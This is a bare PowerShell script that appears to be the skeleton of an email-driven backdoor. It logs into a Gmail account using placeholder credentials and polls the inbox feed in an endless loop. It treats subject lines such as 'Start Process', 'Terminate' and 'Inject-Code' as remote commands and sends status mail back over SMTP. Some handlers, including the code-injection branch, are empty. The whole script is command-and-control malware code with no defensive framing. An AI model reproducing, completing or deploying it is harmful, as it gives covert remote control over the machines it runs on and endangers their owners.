function Measure-Latest {
    begin { $latest = $null }
    process {
            if (($_ -ne $null) -and (($latest -eq $null) -or ($_ -gt
$latest))) {
                $latest = $_
            }
    }
    end { $latest }
}

Function Break-FP
{

$Body += @"
[Breaking Search False Positive]
"@
$SMTPServer = "smtp.gmail.com"
$SMTPPort = "587"
Send-MailMessage -From $username -to $username -Subject "Break-FP" -Body $Body -BodyAsHtml -SmtpServer $SMTPServer -Port $SMTPPort -UseSsl -Credential $credential

}

        $username = "[email protected]_"
        $password = "_PASSWORD_"
        $secstr = New-Object -TypeName System.Security.SecureString
        $password.ToCharArray() | ForEach-Object { $secstr.AppendChar($_) }

        $credential = New-Object System.Management.Automation.PSCredential($username,$secstr)

while($true){
$webclient = new-object System.Net.WebClient
$webclient.Credentials = new-object System.Net.NetworkCredential ("$username", "$password")
[xml]$xml= $webclient.DownloadString("https://mail.google.com/mail/feed/atom")
$latestmail = $xml.feed.entry.issued | Measure-Latest



if((Get-Date -format "yyyy-MM-dd") -match ((($xml.feed.entry | Where-Object {$_.issued -eq $latestmail}).issued) -replace ".{10}$"))
{
        switch ((($xml.feed.entry | Where-Object {$_.issued -eq $latestmail}).title))
        {
          "Start Process"         { $null;Break-FP          }
          "Terminate"             { Break-FP;exit           }
          "Inject-Code"           {                         }
           default                { $null                   }
        }
}

Start-Sleep 421
}